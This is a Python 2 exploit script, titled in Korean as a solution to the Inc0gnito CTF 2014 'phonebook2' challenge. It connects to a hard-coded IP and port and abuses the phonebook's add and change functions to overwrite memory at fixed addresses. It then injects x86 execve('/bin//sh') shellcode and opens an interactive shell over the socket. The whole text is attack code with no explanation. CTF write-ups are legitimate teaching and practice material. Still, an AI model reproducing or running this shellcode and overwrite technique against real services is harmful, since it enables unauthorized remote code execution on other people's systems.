Inc0gnito CTF 2014 phonebook2 풀이 (일반부) exploit only

from socket import *

from telnetlib import Telnet

s = socket(AF_INET, SOCK_STREAM)

s.connect(('125.131.189.30',8888))

execve="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

def expect(t):

    d = ''

    while t not in d:

        d += s.recv(1)

    print d

    return d

def add_phone(name, phone):

    s.send("1\n")

    expect("Name : \n")

    s.send(name)

    expect("Phone Number : \n")

    s.send(phone)

    expect("Register Success\n")

    expect("6. Exit\n")

def change_phone(index, name, phone):

    s.send("5\n")

    expect("Index :\n")

    s.send(str(index) + '\n')

    expect("Name : \n")

    s.send(name)

    expect("Number : \n")

    s.send(phone)

    expect("6. Exit\n")

def list_phone():

    s.send("2\n")

    expect("6. Exit\n")

add_phone("\xAF\xAF\x04\x08".ljust(64,"A"), "B"*20 + '\n')

add_phone("C"*20+"\n", "D"*16+"\n")

change_phone(0, ("\xC4\xAF\x04\x08").ljust(64,"A"), "A"*64)

add_phone(execve+"\n", "a"+'\n')

t = Telnet()

t.sock = s

t.interact()